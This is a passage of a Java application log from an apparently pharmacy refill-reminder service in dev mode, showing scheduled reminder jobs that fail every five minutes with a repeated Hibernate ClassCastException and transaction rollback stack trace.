PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at 